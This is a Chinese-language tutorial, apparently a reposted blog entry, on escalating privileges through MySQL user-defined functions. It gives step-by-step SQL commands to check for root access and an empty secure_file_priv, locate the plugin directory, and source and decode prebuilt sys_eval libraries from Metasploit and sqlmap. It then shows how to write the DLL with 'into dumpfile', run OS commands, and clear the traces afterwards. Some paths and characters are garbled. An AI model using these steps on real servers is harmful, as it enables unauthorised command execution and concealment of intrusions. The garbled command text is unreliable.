mysql之udf提权
前言
UDF简介
UDF (user defined function)
,即用户自定义函数。是通过添加新函数,对MySQL
的功能进行扩充,就像使用本地函数如 user()
一样。
加载udf
,示例中文件末为.so
,则为linux
系统,如果是win
,则后缀为dll
CREATE FUNCTION metaphon
RETURNS STRING
SONAME 'udf_example.so';
查看存在的udf
SELECT * FROM mysql.func;
删除udf
DROP FUNCTION metaphon;
提权思路(一)
When
在无web
脚本执行权限,但是有mysql root
执行的环境下,我们就可以通过into dumpfile
函数导入udf.dll
进行提权。有web
脚本执行权限时,也可以直接上传udf
提权脚本,快速搞定。
总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权
这个第一个思路是针对没有web脚本执行的情况下进行的提权
若不确定是否是root权限可以使用命令查看一下
代码语言:javascript复制select * from mysql.user where user = substring_index(user(), '@', 1)G;
What
数据库相关信息
既然使用dumpfile
那么secure_file_priv
肯定要设置为空的
代码语言:javascript复制注意:secure_file_priv的值为NULL或者是存在值是不能利用UDF提权的,只有空值才行
在
mysql
配置文件中改即可
mysql> show variables like '%secure%'; //查看可导出文件位置
------------------ -------
| Variable_name | Value |
------------------ -------
| secure_auth | OFF |
| secure_file_priv | |
------------------ -------
2 rows in set (0.00 sec)
确认mysql安装位置
代码语言:javascript复制select @@basedir as basePath from dual ;
show variables like '�sedir%';
检查系统构架及plugin
目录,通过主机版本及架构确认mysql位数来选用udf文件
mysql> show variables like ’%compile%‘;
--------------------------- ----------------------------------------
| Variable_name | AMD64 |
--------------------------- ----------------------------------------
| version_compile_machine | AMD64 |
--------------------------- ----------------------------------------
| version_compile_os | Win32 |
--------------------------- ----------------------------------------
1 row in set (0.00 sec)
代码语言:javascript复制show variables like "%plugin%";
--------------- ----------------------------------------
| Variable_name | Value |
--------------- ----------------------------------------
| plugin_dir |C:phpStudyMySQLlibplugin |
--------------- ----------------------------------------
提权payload
提权payload在kali中的msf中就有
/usr/share/metasploit-framework/data/exploits/mysql
sqlmap里面也有
sqlmapdataudfmysql sqlmap自身UDF文件进行异或加密了,使用sqlmap解密一下再使用 python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
用010editor
打开后另存为十六进制文件,然后去掉空格,去掉换行,生成payload
将生成的payload写入到plugin目录下
代码语言:javascript复制select ‘payload’ into dumpfile 'D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll';
查看数据库版本,判断udf文件写入位置
代码语言:javascript复制select version();
注意:mysql自身版本特性,我们将payload是要放在mysql的检索目录中,但是由于版本特性不同,目录也有所不同
代码语言:javascript复制1、 Mysql < 5.0
导出路径随意。
2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll
其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
3、 Mysql >= 5.1
Mysql安装目录的libplugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下libplugin目录大概率是不存在的,需要自行创建。
##有web脚本执行权限的时候,可以直接上传该UDF文件,没有执行权限就提取十六进制这个方法
调用此提权UDF
代码语言:javascript复制mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)
此时再去查看存在的UDF就能看到自己上传的这个UDF了
代码语言:javascript复制select * from mysql.func;
select sys_eval(‘net user’);
至此就完成了UDF提权
痕迹清除
删除表
代码语言:javascript复制drop table udf;
删除函数
代码语言:javascript复制drop function sys_eval;
补充
UDF提权一般仅适用于windows系统,linux系统由于自身对plugin目录严格的写入权限,很难利用
参考博客链接:(96条消息) 20210415web渗透学习之Mysqludf提权(二)(胃肠炎住院期间转)_热热的雨夜的博客-CSDN博客